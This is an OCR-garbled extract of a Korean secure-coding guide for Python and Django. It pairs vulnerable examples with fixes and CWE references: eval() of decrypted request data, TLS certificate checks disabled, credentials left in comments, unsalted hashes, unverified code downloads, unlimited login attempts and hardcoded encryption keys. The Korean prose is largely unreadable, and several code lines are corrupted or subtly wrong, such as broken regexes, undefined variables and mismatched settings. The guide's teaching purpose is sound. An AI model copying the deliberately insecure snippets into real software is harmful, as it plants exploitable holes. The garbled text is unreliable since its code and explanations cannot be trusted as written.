for pattern in [PT1, PT2, PT3, PT4, PT5, PT6, PT7]:
if pattern.match(password):
return True
return False
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- Django ZHAY=9| VALIDATORS At
Django0iM= DIE20{2] AUTH_PASSWORD_VALIDATORS AX0jlA THAE0 CHEt HSS X|26HH,
JI2HOZ Offiet 22 HES YTt
* UserAttributeSimilarityValidator : IAQET} AFXLQ| CHE £MZH0IE, A, O|HY)SIIe| QAE &l
* MinimumLengthValidator : IIAQIE Z0|Q| £AZt &Ql(default 8)
* CommonPasswordValidator : ARZS0| 71& 0| AF25H= IHALE 20,0007H0 SHESH=X| &0l

ol

* NumericPasswordValidator : I|AQE7} X220t ZME|HU=X]

7|2 Validator 20 TSt FIt HZE 7|&F0] UCHH AKX MO ValidatorE A
AUTH_PASSWORD_VALIDATORSO| S5dli M& 7tsottt. Ot2lie AFEXL Validator 2| GIAIE &
ZLHAS S Al None Bt AMI§ A| ValidationError YAMSIEE 318 Q).

Jor

ot

2 Hur

10 import re

2. from django.core.exceptions import ValidationError

3:  from django.utils.translation import ugettext as _

4:

5. class CustomValidator(object):

6: def validate(self, password, user=None):

7: # 33 0|y EXN2 F4E 8XIE| 0|4 MAYE HAM Hid

8: PT1 = re.compile("(?=.*[A-Z])(?=.*[a-z])[A-Za—z\d| @#$%"&*]{8,}$)
9: PT2 = re.compile("(?=*[A-Z])(?=.*\d)[A-Za-z\d$@$!%*?&]{8,}$")

10: PT3 = re.compile("(?=.*[A-Z])(?=*[|@#$%"&*])[A-Za-z\d|@#$%"&*]{8,}$)
11: PT4 = re.compile("*(?=.*[a-z])(?=.*\d)[A-Za-z\d!@#$%"&*]{8,}$)

12: PT5 = re.compile("(?=*[a-z])(?=*[|@#$%"&*))[A-Za-2\d| @#$%"&*]{8,}$)
13: PT6 = re.compile("(?=.*\d)(?=.*[|@#$%"&*])[A-Za-2\d!|@#$%"&*|{8,}$)
14:

15: # 22X 74 HEel0] 10At2] Ol HARE AA Ftal

16: PT7 = re.compile("[A-Za-z2\d!@#$%"&*]{10,}$)

17: for pattern in [PT1, PT2, PT3, PT4, PT5, PT6, PT7l:

18: if pattern.match(password):

19: return None
20: raise ValidationError(
21: _("HAQE X0 MBtshR| 45U,
22: code='improper_password',
23: )
24:
25: def get_help_text(self):
26: return _(
27: "AREE= B2 HEX}, ARK, =X, 22X X8 § 27X 0|4 8Xt2|0|7Ly 22Xt 4
28: AEel0] 10Xt2] 0[440|0{0F SfLiCt”
29: )
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gt Xz

® CWE-521: Weak Password Requirements, MITRE,
https://cwe.mitre.org/data/definitions/521.html

@ Authentication Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.htm|

® Regular Expression HOWTO, Python Software Foundation,
https://docs.python.org/3/howto/regex.html

@ Password management in Django, Django Software Foundation,
https://docs.djangoproject.com/en/4.0/topics/auth/passwords/
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—

HIAIX] CrO|H|IAE

#blcld
&" (#df
#1sk84#

o At

HEE IE(AYIE)7t

e Aol A

D272, 2j0/82j2], SO MAMBO i3t K& B0l XUGHK| B0t B2XIS| ool S
THs3 HOIPHOR, ZRA0I1ES A Af0|9] FL HOJE X, I CHREC A WSt 4 QUCt GloJE
M EE C22C Al 3 MR MAMBS A2 G0[ES| ABSHE SA| 2R, £AS0A 0 NS
55 BIOJE] X 0SS SOISt 4 QUTF. TS| SiA] 7[5t HET ASE B A KRS W5 TES
HMYE 4 YR, MANBS ASSPH E3 U2 GlO|EO T3t oAl XIHIE OFHaPH 253 4 ACt
Lt otMst IY7|H

X2 HOIE Mg T CIREC Al BO[E0] et HAKTS S HE5D, 2AS0AE He 2re Fx)
Mg #Z8 TS WX OIS slelsor Btk
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Ct. 2O
CLE2 S41=0] HIO|Eet 8fH TEe MAMES +I=S0M B2 X2|otA| 411 HI0|EE 1tz LI=Z|h

HIOE LHSO| ZetE OoPM FET Aolikl= FOer HAIE 20 =L,

1 import base64

2. from Crypto.PublicKey import RSA

3: from Crypto.Hash import SHA256

4:  from Crypto.Signature import PKCS1_v1_5 as SIGNATURE_PKCS1_v1_5

5. from Crypto.Cipher import PKCS1_v1_5, AES

6: from Crypto.Util.Padding import unpad

7:

8:

9: def verify_data(request):

10: # S2H0|MEERE M2 HO|HEXNMES 4 X2| ofX| ES)

11: encrypted_code = request.POST.get("encrypted_msg", ") # 2LSatel LOPH T2

12:

13: # MU U&7 2E (S4450] HE7|E 0[0] SRI}UCtD 7H)

14: with open(f"{PATH}/keys/secret_key.out", "rb") as f:

155 secret_key = f.read()

16:

17: # IRI7|2 22H0|QIET} M5t THO|W IE 2535

18: # (decrypt_with_symmetric_key &= Q99| feEHOZ MHEXNQ S35 IFH2 MeFal)

19: origin_python_code = decrypt_with_symmetric_key(secret_key, encrypted_code)

20:

21: # SZ0|CERRH AT 22 Mo I A

22: eval(origin_python_code)

23:

24 return render(

25 request,

26: "[verify_success.html",

27: {"result": "TiOPM TEZ MsHZHELICE",

28: )

9ot PH = Vs 2oz HAL= HI0[EE MFols 4R, HEAl MAMES SH HEoH0F SHH

FAUZ0M = MXMBS 2felel SLUF0M HiH O0|E| FAYS HSoH0F ottt 2reF sS4 = 10{7t
CI2 Z2 AISS 95 210[=2{2/0) T2t HOIE QITT WAN X017k YOU BIEA| IS HE X Y
30| Bt =53t 1PY0| YHHMOZ H XN2|E=X| HBoH0F ottt
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10 # ANMT B0 ARget T Q&S MO[M M7 |X| & SAI= 2100 mh2f

20 # ZEHE 2 ACH, A0 SRt S/71=2 S etet MAMED HE H0[H oiAlge

3: # x| RE dAilols ZEE B9

4:  def verify_digit_signature (

b origin_data: bytes, origin_signature: bytes, client_pub_key: str ) -) bool:

6: hashed_data = SHA256.new(origin_data)

7: signer = SIGNATURE_PKCS1_v1_5.new(RSA.importKey(client_pub_key))

8:

9: return signer.verify(hashed_data, base64.b64decode(origin_signature))

10:

11:  def verify_data(request):

12: # S2H0|MEZRE M2 H0|H

13: encrypted_code = request.POST.get("encrypted_msg", ") # YS3lE MO A=
14: encrypted_sig = request.POST.get("encrypted_sig", ") # Y& st HXAMH

16

16: # MHO AMBI)7| ¥ 37| =2E

17: with open(f'/keys/secret_key.out", "rb") as f:

18: secret_key = f.read()

19:

20: with open(f'/keys/public_key.out", "rb") as f:
21: public_key = f.read()
22:
23: # 0d7|2 oM ZE 2 MAME 555)
24 origin_python_code = decrypt_with_symmetric_key(symmetric_key, encrypted_code)
25: origin_signature = decrypt_with_symmetric_key(symmetric_key, encrypted_sig)
26:
27: # S20[AUES JIH7|E Soff oM TE(HFR) TMRMYES HS
28: verify_result = verify_digit_signature(origin_python_code, origin_signature, client_pub_key)
29:
30: # MAME 45 SIRICHE Mo A= A3
31: if verify_result:
32: eval(origin_python_code)
33: return render(request, "/verify_success.html",
34. {'result”: "MXIMY #35 S ¥ IO|W TLE MAFSLICL,
85 )
36: else:
37: return render(request, "/verify_failed.html",
38: {'result": "MXIMY EE= DO FETt /HEEHUSLICET,
39: )
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® CWE-347: Improper Verification of Cryptographic Signature, MITRE,
https://cwe.mitre.org/data/definitions/347.html

@ Security Consideration for Code Signing, NIST,
https://csrc.nist.gov/CSRC/media/Publications/white—paper/2018/01/26/security-considerations—for-code
-signing/final/documents/security-considerations—for-code-signing. pdf

® Verifying a signature, PyCryptodome.
https://www.pycryptodome.org/src/signature/signature?highlight=verify#verifying—a—signature
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SA7E SEIR 1Lt oHRl A, ZARPE SAES} S2A0IIE Ajole] B4 TS THRA ARlsHs
NEIE) O ZH £ 4 QUCH 02 QIsf Thy SAET AZ| Jk53 HOR WD oFY SAEY HSLL
NBE SAERNE MYWS MY KOs ARY H(ES MXE HOIE)S 012 oY g0 SMsHs
Mgo| wyE & U,

Lt. QHust 3H7|Y

HIOJE SH0| QISME ABSH= Z SUSUM HLF USMIL RBFE U5 3 HOIES SH4H0F
BITF. QIO TIZOR MBEIE U5 $47h ZMGHA Q7ILE LXK 2 WAOR QISAS A
Ze usst WIIXIE ASH BEQ| 43 ACSS SHHOF St

Ct. IE0)X|

ChE2 SSL 7|8 22 AZ ojAlZ, S0|HE oM S g MHE ASoH| il Fhols &

ot
njo

=
20| ZCh 0] 32, MHE MY & ICH S2H0|HE AAHY FE F= Ad HOIHE 4 - UL
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1 import os
2. import socket
3:  import ssl
4:
5. HOST, PORT = "127.0.0.1", 7917
6:
7. def connect_with_server():
8:
9: with socket.socket(socket. AF_INET, socket.SOCK_STREAM, 0) as sock:
10: # 2ot JM 5 43
11: context = ssl.SSLContext()
12:
13: # SSLContext MEXIE 2H =& W, CERT_NONEO| 7|22k
14: # YOS QIEoHA| %7 R0 S4lotlitoh= MHO| M2IEE HEe £+ gz
ilI58 context.verify_mode = ssl.CERT_NONE
16:
17: with context.wrap_socket(sock) as ssock:
18: try:
19: ssock.connect((HOST, PORT))
20: ssock.send("Hello I'm a vulnerable client :)".encode("utf-8"))
21: data = ssock.recv(1024).decode("utf-8")
22: print(f"») server from ({HOST}, {PORT}): {data}\n")
23: finally:
24 ssock.close()
y

SSL ¢1Z Al PROTOCOL_TLS_CLIENT EREZS 7151 QIZA Q&4 ZAI SAE 012 20I1S
913t context TAIBIR! verify_mode?t CERT_REQUIREDE A¥HEID, Aftio] Q15K RE42 258 4 ULt
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N

e
N

12:
18
14:
15z
16:
17:
18:
19:
20:
21:
22:
23
24
205
26:
27:
28:
29:
30:
31:
32:
BEH
34:
-

@ ® e F @ H @I

import os
import socket

import ssl

CURRENT_PATH = os.getcwd()

HOST_NAME = "test-server"

HOST, PORT = "127.0.0.1", 7917

SERVER_CA_PEM = f'{CURRENT_PATH}/rsa_server/CA.pem" # AMHZZE]

def connect_with_server():

with socket.socket(socket. AF_INET, socket. SOCK_STREAM, 0) as sock:
# PROTOCOL_TLS CLIENT E2EZS F7Iol0] Q=N QoM AR SAE 0]

# contextE 4. verify_mode7t CERT_REQUIREDZ AN =
# check_hostnameO| Truez &&=

context = ssl.SSLContext(ss|.PROTOCOL_TLS_CLIENT)

# NHZEE M2 CA ISME contextd] 2=
# CERT_REQUIREDZ Qlal Tz~
context.load_verify_locations(SERVER_CA_PEM)

# SAE 0|E(HOST_NAME)O| UX|SHK| LOH EAl 27}
#

i =l
# SZ(server.csr)et SAE Ht UX|GH0F &

with context.wrap_socket(sock, server_hostname=HOST_NAME) as
try:
ssock.connect((HOST, PORT))

ssock.send("Hello I'm a patched client :)".encode("utf-8"))
data = ssock.recv(1024).decode("utf-8")
print(f")) server from ({HOST}, {PORT}): {data}\n")

finally:

ssock.close()

[t

A1t context wrapping Al server_hostnameO| &K AHOA|

ssock:

HEH2 CA 21BN
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® CWE-295: Improper Certificate Validation, MITRE,
https://cwe.mitre.org/data/definitions/295.html

@ ldentification and Authentication Failures, OWASP,
https://owasp.org/Top10/A07_2021-ldentification_and_Authentication_Failures/

® TLS/SSL Wrapper for Socket Object, Python documentation
https://docs.python.org/ko/3/library/ssl.html

@ Improper Certificate validation, AWS.
https://docs.aws.amazon.com/codeguru/detector-library/python/improper—certificate-validation/
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NABIS FofsiA BHECE
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CiS2 719 T=ARIE UEokH 2 2786l AIZAt of= LA M™E 27|17t =8&= & 20 =,
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—

from django.http import HttpResponse

def remind_user_state(request):
res = HttpResponse()
# #7119 CtEAZEE 1HOR WMESHAH ZA d&otl U0 AXGEK| 4Lt

res.set_cookie(rememberme’, 1, max_age=60*60*24*365)

N @ g B W iy

return res

| 4

U= AlZF2 o 7SS0 S5 Zlaz 2ot FEH 7|0 2 Y2/t ZYEX| §HES ottt 27|

£ HTTPSE SoiMTt MESIEE secure FHUS True(7I2AU2 False)E MET 4= ULt S2I0|YE

Z0|M JavaScriptE Sdll F7|E EZotX| Zot=F HMgh otlAt & HLAU httpOnly
=

False)2 AFsitt. OHE2 #7| Rtm AlZt

£MS True(7|2ZL

o= L HATT

N

from django.http import HttpResponse

def remind_user_state(request):
res = HttpResponse()
# F7|9| UZAIZS HAEHH E0{otT secure L httpOnly SMS 243t

res.set_cookie(rememberme’, 1, max_age=60*60, secure=True, httponly=True)

ol

It

r

N @ 0 S @I

return res

Django0lM= settings.pyOll Ofeel 20| 7t MHL=Z A¥Y 4 ALt
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1: from django.http import HttpResponse

2. from django.conf.global_settings import (

B SESSION_COOKIE_AGE,

4: SESSION_COOKIE_HTTPONLY,

B SESSION_COOKIE_HTTPONLY,

6: )

7:

8:

9: # settings.py

10:  SESSION_COOKIE_AGE = 60 * 60 * 24 * 14
11:  SESSION_COOKIE_HTTPONLY = True

12:  SESSION_COOKIE_SECURE = True

13: "™

14:

15:  def remind_user_state(request):

16: res = HttpResponse()

17: # M ME(setting.py)HlA default2 F7| S HXSH AEY
18: res.set_cookie(

19: "rememerme”,

20: 1,

21: max_age=SESSION_COOKIE_AGE,

22: secure=SESSION_COOKIE_HTTPONLY,
23: httponly=SESSION_COOKIE_HTTPONLY,
24 )

25: return res

2. AR
® CWE-539: Use of Persistent Cookies Containing Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/539.html

@ Expire and Max-Age Attributes, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html|
#expire—and—-max—age-attributes

® HTTP state management, Python Software Foundation,
https://docs.python.org/ko/3/library/http.cookies.html

@ Django set_cookie, Django Software Foundation,
https://docs.djangoproject.com/en/dev/ref/request-response/#django.http.HttpResponse.set_cookie

® Django Settings, Django Software Foundation,
https://docs.djangoproject.com/en/4.0/ref/settings/#sessions
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AgQlE, Halxt, 2 S
(THASIE, B2|Xt, HE 5) | IPassword for

administrator is “tiger”

ATEQO] LU} HOIS SIoHA FHZ0| HAYES HOIE 22, AZEQ 0P} AME Sol= 122

) — A
H7{sk= 20| O OfFA ECf. 2ref

]

HRPF AATEO] TS 4 ALK AN 227 HE

Lt. ot

FN0l= oto|H|, HARE S =otat H“HAH

rx
o

23718

r
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N
o
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Ol.

Ct. IE0)X|
He|d= #lolf Of0|E], ARAE S SLEEE FHZ A0 XY = XRX| H= 82 2 L& E2AAHO|
Lottt

1:  def user_login(id, passwd):

# FME0 ZEE F2 AARQ
# id = admin

# passwd = passwOrd

=
ol
0}
HT

result = login(id, passwd)

N @ g B Wi

return result
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D233 Y Aol RN SO HHSS A AL HAYS SO HEE MY 242

AfR[sHOF BHCt.

QtMst I oA

Jor

def user_login(id, passwd):
# FHE0] Z3E DIASH JEHE AF|

result = login(id, passwd)

1:

2
3:
4 return result

2t Xtz
@® CWE-615: Inclusion of Sensitive Information in Source Code Comments, MITRE,

https://cwe.mitre.org/data/definitions/615.html
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7t M
B “Abdc1234!@#$" “32DAE789AE.."
x2 —> —> @
“"Abdc1234!@#$" “32DAE789AE..”
+
“Salt Value

HARIES 20| ZRIYLS XM B, 7 20| HOEIS DT T7|9| AIZIOE HEtiFE UL
X

ShAIR+E OI&3H MY + ALt Ut ZQYEE £E(Salt)0| LU shAE+E ALEdH MYTCHH

E
N
Ral
I
o
u
é
m
-]
r_o
-lo
S
][
mo 4
2

83 SHAIZES 20K 4 QI

—_—

Ir

2i9|9| Z20[Q! HIO|HE 1FE 37|19 sHAULE HeklF

LA SHAI+E O8I0 XMYICt. Eot, EEU2 MEAER R YdsH0F 5iH, 0| 2ot ALEXt
Xtohl=

ng r

-

TOPWOIAY= hashlib 2t0|E2{2IS ALBEH SHAIZS 448 & O, salt 242 os.urandom() & QIS

ot 4 2t0[E2(2|E Aot Ydotof Sttt

Ct. IE0)X|

CHS2 salt B0 207} 2 WARISE SHA| 01 Tl 2=20] SZAK0| 2fel g4 RFE= GIME 20 =Lt

—

import hashlib

def get_hash_from_pwd(pw):
# salt 90| MME SHAIZLE Z=7t <fcl FQfsiCt

h = hashlib.sha256(pw.encode())

N @ g B Wi

return h.digest()
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B2 Z20|9| HAJER LT =2 SHAUE Ygot7| FohM= HEA SE as & TEHSHOF

ot
n

10 import hashlib

import secrets

def get_hash_from_pwd(pw):
S ALZotH ZO0|7) B2 MAQEZE DZEO| oiAE dae = UCh
o

ASAHER FYUOHH -doH0F otH, A=} S/ DBOI| AI&sHOF

\J

# &E

Nog
ol
il

salt = secrets.token_hex(32)

2

3

4

5

6: # SE
2

8 h = hashlib.sha256(salt.encode() + pw.encode()
9

0

return h.digest(), salt

gt Xz

® CWE-759: Use of a One-Way Hash without a Salt, MITRE,
https://cwe.mitre.org/data/definitions/759.html

@ Password Storage Cheat Sheet — Salting, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#salting

® hashlib - Secure hashes and message digests, Python Software Foundation,
https://docs.python.org/3/library/hashlib.html

@ secrets, Python Software Foundation,
https://docs.python.org/ko/3/library/secrets.html#module-secrets
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MEESE
=l 3AC Ce2E

YT IRB AATE EE MY TS 27 A 90| LIREE 3 0j2 Mgets T2IH0| =X
33

BIC} Of2f3t Z2IUS SAE AH{O| HZ, DNS ARE(Spoofing) Ei &4 Ale] IC X Sof weig

OIZal SAXI} ofo|Xol IS Mdcks fI-F0 FIefotA E Ot

MR iy AZEY0f) FEYS &shs F 7HK| FQ YY2=E AS S siAl X T MEO| AL,
FZYS BEESH| floll SHAIE AREotal JhsotE XESH ZE ME ABME Ar8st &Qlsk= 40| o
QFH ot

DNS AZZ(Spoofing)2 YOIEt 4= U= DNS lookupS 851 TE TS Al MZE 4 Q= A5
Cf.

IS 0|85l Z=E AZstet

AATEE MRS 4 Y MOEOIA CH2EE5H0F 511 TS| QSN i SiARLES ZAle) XS
22 TURIK| SHelstoiof Sit
ot o

Ch2 O requests.get S H2i0M THUS CHRRCEE F IO CHet £24 HME SoIX| 2ot
T BE SOR QI3 W37t WAGHs A H0j ZL1. 0] 29 AR} QX S M 4 UCh,
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1 import requests

2:

3: def execute_remote_code():

4. # MY =+ gl= AMOIEOIM ZEE OREE

5 url = "https://www.somewhere.com/storage/code.py"

6:

7: # ¥4 I OIRZE

8: file = requests.get(url)

9: remote_code = file.content
10:

11: file_name = 'save.py'

12: with open(file_name, 'wb’) as f:

13: f.write(file.content)

4. .

y
QtMol FE HS @loff CHREE0r MU} o MU SiAlZ Hlw S5 Solf FAY ZAE AR ZEE
aleislior ot
o3t AL OfA|

1: import requests

2. import hashlib

3: import configparser
4:

5. def execute_remote_code():

6: config = configparser.RawConfigParser()

7: config.read(‘sample_config.cfg’)

8:

9: url = "https://www.somewhere.com/storage/code.py"
10: remote_code_hash = config.get(HASH', file_hash’)
11:

12: # 4 Ic OREC
13: file = requests.get(url)
14: remote_code = file.content
15:
16: sha = hashlib.sha256()
17: sha.update(remote_code)
18:
19: # OREE B2 Il SiAZf 2B
20: if sha.hexdigest() != remote_code_hash:
21: raise Exception(‘TH0| &AEUSLICE")
22:
23: file_name = 'save.py'
24: with open(file_name, 'wb') as f
25: f.write(file.content)
260 ...
| 4
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gt Xz

(® CWE-494: Download of Code Without Integrity Check, MITRE,
https://cwe.mitre.org/data/definitions/494.html

@ Secure hashes and message digests, Python Software Foundation,
https://docs.python.org/3/library/hashlib.html

@ Top 25 Series — Download of Code Without Integrity Check, SANS,
https://www.sans.org/blog/top—25-series—rank—-20-download-of—code-without-integrity—check/
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1:  import hashlib
2.  from django.shortcuts import render
3:
4:  def login(request):
5 user_id = request.POST.get(user_id’, ")
6: user_pw = request.POST.get(user_pw', ")
7:
8: sha = hashlib.sha256()
9: sha.update(user_pw.encode(‘utf-8'))
10:
11: hashed_passwd = get_user_pw(user_id)
12:
13: # QIZ A0 ME XMEH0] g0 BIEAQI 215 A7t 7hs
14: if sha.hexdigest() == hashed_passwd:
(53 return render(request, '/index.html', {'state".'login_success'})
16: else:
17: return render(request, '/login.html', {'state"'login failed?)
y
COE2 ABAH 2101 A0 Oiet I+~ HMietsto] FXE J40| t8ok= YHS 20 FCt
QHMSH FE OfA|
11 import hashlib
2:  from django.shortcuts import render
3:  from .models import LoginFail
4:
5: LOGIN_TRY_LIMIT = 5
6:
7: def login(request):
8: user_id = request.POST.get(user_id’, ")
9: user_pw = request.POST.get(user_pw', ")
10: sha = hashlib.sha256()
11: sha.update(user_pw.encode(‘utf-8’))
12: hashed_passwd = get_user_pw(user_id)
13
14: if sha.hexdigest() == hashed_passwd:
15: # 2701 43 Al A = A
16: LoginFail.objects.filter(user_id=user_id).delete()
17: return render(request, '/index.html', {'state"'login_success')
| 4

117



Python AIZ0IZE Jt0I=

18: # =700 Al 7|8 JtHQ7|

19: if LoginFail.objects.filter(user_id=user_id).exists():

20: login_fail = LoginFail.objects.get(user_id=user_id)

21: COUNT = login_fail.count

22: else:

23: COUNT =0

24

25: if COUNT )= LOGIN_TRY_LIMIT:

26: # 27001 Azl xot2 Qlo EaEl AF CHet Q15 Al H/gt
27: return render(request, "/account_lock.htm!", {"state": "account_lock'})
28: else:

29: # 27101 A0 sl DB 7%

30: # A A=2tH DBO| insert,

31: # A 7|1=0| EXSITHHE update

32: LoginFail.objects.update_or_create(

BEH user_id=user_id,

34 defaults={"count": COUNT + 1},

85 )

36:

37: return render(request, "/login.html", {"state": "login_failed"})

gt Xz

® CWE-307: Improper Restriction of Excessive Authentication Attempts, MITRE,
https://cwe.mitre.org/data/definitions/307.html

@ Blocking Brute Force Attacks, OWASP,

https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

@ additional security topics, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/security/#additional-security—-topics

@ Django-defender,
https://github.com/jazzband/django—defender
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0|2t 20| otto| XHEHO CHaH SAIO HAAIED ALZAIE0| EaF 7l= 2oAAHOZ Qo S7(8t LRET
OfL2t walME| St 22 EHF0| Ty &= UL
MOIMUME HEIAHE 2tE0|M S7 A0l 0= 2 ETF Mdok=s A2 U7| *lo Lock HHME HS

2:
SICHAIC MEHE XSCZ HASH= acquire() HAER} A2 FQ AHHS dliKlot= release() HIAME).

ZMATL L0 MBS B S8t F12S AFEoI0] 8 HO| SiLto|
O

OF otH, &80 DXl FgS ZA8t6H7| s YAZH(critical section)

r
>
1=
e
]
my
rlo
Ok
30
>
rio
o

2 52

1=

IHO|MO| Lock ZHA| At

223 with 28 At2df

| lock.acquire()2 Xt¥E &1 lock.release()E AHeS SHA[GHOF tH, O]
CHSEA| ESE 4 QICY.

r\' oro

Ct. IE0)X|

ChE oidle s7E
2K

MUS AEe I IS =22 = M2 IEE MEds B=20| A=Y © H2
A= THE ALEX o

o
bE= D200 2o TAO0| ARZMY ot= 7IsE A +~ gl 892 20 E0O.

1 import os

2. import io

3: import datetime

4:  import threading

5}

6: def write_shared_file(filename, content):

7 # HEAYE 2HH0M= CHE AMSAS 20| M2t IUO0| A2t 4
8: # 7] MZE0 SR AHE0 oMz AR AtE=S SAI0 ofoF Sfct.
9: if os.path.isfile(filename) is True:

10: f = open(filename, 'w')

11: f.seek(0, io.SEEK_END)

12: f.write(content)

13: f.close()

14:

15:  def start():

16: filename = ‘. /temp.txt’

17: content = f“start time is {datetime.datetime.now()}"

18: my_thread = threading.Thread(target=write_shared_file, args=(filename, content))
19: my_thread.start()
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| HI3Z A2t =2 &EH

COHE2 Y ZAL & MUO| MHIE[L HSE= AS OISt fIoh locksS AHEoH0 2 MY EMHM SR
2o Hdote A= SH o= OX ZEE HO ELL lockS acquiredt™ offd M| =0H SR H|O[E{ 0
B2 & & UL, locks release oHOFZF CE M EOM S] CIOEHN 2 & £+ ULt

1 import os

2. import io

3: import datetime

4:  import threading

5%

6: lock = threading.Lock()

7. def write_shared_file(filename, content):
8: # locks 0|2ot0f 02| ALEX7L SAI0f MHAO| 26X x5
9: with lock:

10: if os.path.isfile(filename) is True:
11: f = open(filename, ‘W)

20: my_thread.start()

12: f.seek(0, io.SEEK_END)

13: f.write(content)

14: f.close()

16

16:  def start():

17: filename = ‘. /temp.txt’

18: content = f“start time is {datetime.datetime.now()}"

19: my_thread = threading.Thread(target=write_shared_file, args=(filename, content))

gt Xz

@ CWE-367: Time—of-check Time—-of-use (TOCTOU) Race Condition, MITRE,

https://cwe.mitre.org/data/definitions/367.html

@ Thread-based parallelism, Python Software Foundation,
https://docs.python.org/3/library/threading.html
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TS| BOKIX| QT ZOlsHOF BHCh

Lt, ekdst 37|14

HE M 3 M = 3A+E Mool M g S Z2US

r9£

0=

at5| Holsl 552 F|0{aH0F B,

IOt0|M Q| recursionlimit H|3t2 AEBH QHEZ QR HMS O17| Q|5 HIHO 2  recursionlimit 2SS 261

3 702 MXGHK| QL0f0F S},

Ct. IE0)X|
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1:  def factorial(num):
# Mgt HEXHS YO f0F S& 5 o2 g

return num * factorial(num - 1)

itr =5

result = factorial(itr)

2
3
4
5. if _name__ == "__main__"
6
7
8

print(str(itr) + ' WEZ|Y Zf2 1 ' + str(result))

m
02!
P

N

A E= 30| M2 M7 2= A4S STl Z=I0| 2o 2h=0| XX $HEF

o
im

N

def factorial(num):
# MHE AR Al ©E R4S HAloHOF S
if (num == 0):
return 1
else:

return num * factorial(num - 1)

if _name__ =="'_main__"

itr =5

© © 0 N 2 g £ W N

result = factorial(itr)

11: print(str(itr) + ' WEZ|H Zf2 ' + str(result))

| 4

TjoPMe| T H= Hek2 71=0] 100022 2FE[0 ULt Anacondal| ZLE 7= %t0[ 20000]LCH.
O Zt= ATotA| HESIK| BIOfOF SiTt.

1 import sys
2:

3:  sys.setrecursionlimit(1000)
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gt Xz

@® CWE-674: Uncontrolled Recursion, MITRE,
https://cwe.mitre.org/data/definitions/674.html

@ CWE-835: Loop with Unreachable Exit Condition (Infinite Loop’), MITRE,
https://cwe.mitre.org/data/definitions/835.html

® sys.setrecursionlimit, Python Software Foundation,
https://docs.python.org/3/library/sys.html#sys.setrecursionlimit
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(traceback)E &2ol= 42,
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|2 HO|X|0| C|H1 ME F= MHO HEIF &5 4
40| Of2et Z0| AlARIS =2 HET}
= M|

Ct. Z=O0i|H|
AR 28 FMXoR XMElg + ¢le &
EE TrueZ H46IL HiZE A
S 4 OofzHet Z0| AFZX} ofl2f HO|XIE AN

ALt O{Z2[#H0|M HHE A DEBUG &
LEE £ UCt Django= DEBUG EEE FalseZ H{ZERY

Django 7|2 02{ HO|X|7} &EZ=ICt

ofX| HoH

sict

HISHA] 40t django] 7|2 Ol HOIXIE &3

# config/urls.py

1:
# 99 02 HO|XIE

2:
- Page not found at /catalog/ X
& c ® @ 127.0.0.1:800 @ % » =
Page not found (04)
Request Method: GET
Request URL: hittp://127.0.0.1:8000/catalog/
Using the URLconf defined in 1ocaliibrary.urls, Django tried these URL patterns, in this order
1. admin/
2o
3. “static\/(?P<path>.*)$
The current path, cataleg/, didn't match any of these
You're seeing this error because you have oesue = True in your Django settings file. Change that o False
and Django will display a standard 404 page
HNSEl= ofl2f TOJX| HS2HE O=aH B 0f|2f HO|XIS Yot AFZXA HEodoll MHo| HHrES
E|A3I5H0F BTt
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QtMst I oA

N

# config/urls.py
from django.conf.urls import handler400, handler403, handler404, handler500

# MEX FQl 02 HO|X|E X|Fot

# views.pyOll ALEAL Fo| 02 HO|X|0f CHEt ZEE Foi5t] ALEetCt
handler400
handler403
handler404
handler500 = "blog.views.error500*

"blog.views.error400"

"blog.views.error403"

"blog.views.error404"

Ol2l= tracebacks ARSI Ol ABMES HE S=HO= HAlS) FE7I &&= OME 20 ZCL

1: import traceback

2:

3:  def fetch_url(url, useragent, referer=None, retries=1, dimension=False):
4

& try:

6: response = requests.get(

7: url,

8: stream=True,

©k timeout=5,

10: headers={ 'User-Agent": useragent, 'Referer': referer },
11: )

120 L

13: except |OError:

14: # OI2{HAIX|E Solff AR HEHIL &

15: traceback.print_exc()
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2F X2 Al ot 20| off2] O|FO0[Lt ol X F2It =EEX| EES

import logging

N

def fetch_url(url, useragent, referer=None, retries=1, dimension=False):
try:
response = requests.get(url, stream=True, timeout=5, headers={
'User-Agent": useragent,

‘Referer': referer,

@ © o F @G L @I

N

N
N

except |OError:
12: # 02 D= HEHE Hi2 Moot FA HED 24

loaaer.error(ERROR-01:521012{")

_\
@

ct.

VA=

(® CWE-209: Generation of Error Message Containing Sensitive Information, MITRE
https://cwe.mitre.org/data/definitions/209.html

@ Improper Error Handling, OWASP,
https://owasp.org/www-community/Improper_Error_Handling

® Errors and Exceptions, Python Software Foundation,

https://docs.python.org/3/tutorial /errors.html

@ Django Error views, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/ref /views/#error-views

® Flask Error Handlers, Flask
https://flask.palletsprojects.com/en/2.0.x/errorhandling/#error-handlers
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o

oelxel= AEE Aok U= D233 Mo A2 Qlsf O|=X| 2 SH2Z 0|0X|= &AL

7= dXlek=d ==0| =

RRIL LYY > U= BEO HSI0 HOiZ(try-except)S AMEdH MESHAH G X=| Bt

f. ZEOIA|
LS OIRlE try ES0M Ldsts 2FE EAf(except)otd UK, 1 2F00| tHolikf OFF EXIZ SHX|
He JES E0EL. OFF Z=X7t QICE2 D=2 T-0| Al ALY WEM HUXZL O|=otX| 42 det
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AFAHIZE JH0I=

4

1: import base64

2. from Crypto.Cipher import AES

3:  from Crypto.Util.Padding import pad

4:

5. static_keys=[

6: {key' : b \xb9J\xfd\xa9\xd2\xefD\x0b\x7f\xb2\xbcy\x9c\xf7\x9c',

7 vt b'\xf1BZ\x06\x03TP\xd1\x8a\xad"\xdc\xc3\x08\x88\xda'},

8: {key' : b'Z\x013.:\xd4u3~\xb6TS(\x08\xcc\xfc',

9: v o b'\xala=:\xba\xfczv]\xca\x83\x9485\x14\x17,

100 ]

11:

12:  def encryption(key_id, plain_text):

13: static_key = {’key":b'0000000000000000", 'iv":b'0000000000000000'}

14:

16: try:

16: static_key = static_keys[key_id]

17: except IndexError:

18: # key M8 = @F M A 7|2z HHE =3t 7|2

19: # '0000000000000000" O 2 A55|7} 4=H=Ct,

20: pass

21:

22: cipher_aes = AES.new(static_key[key'],AES.MODE_CBC,static_key['iv])

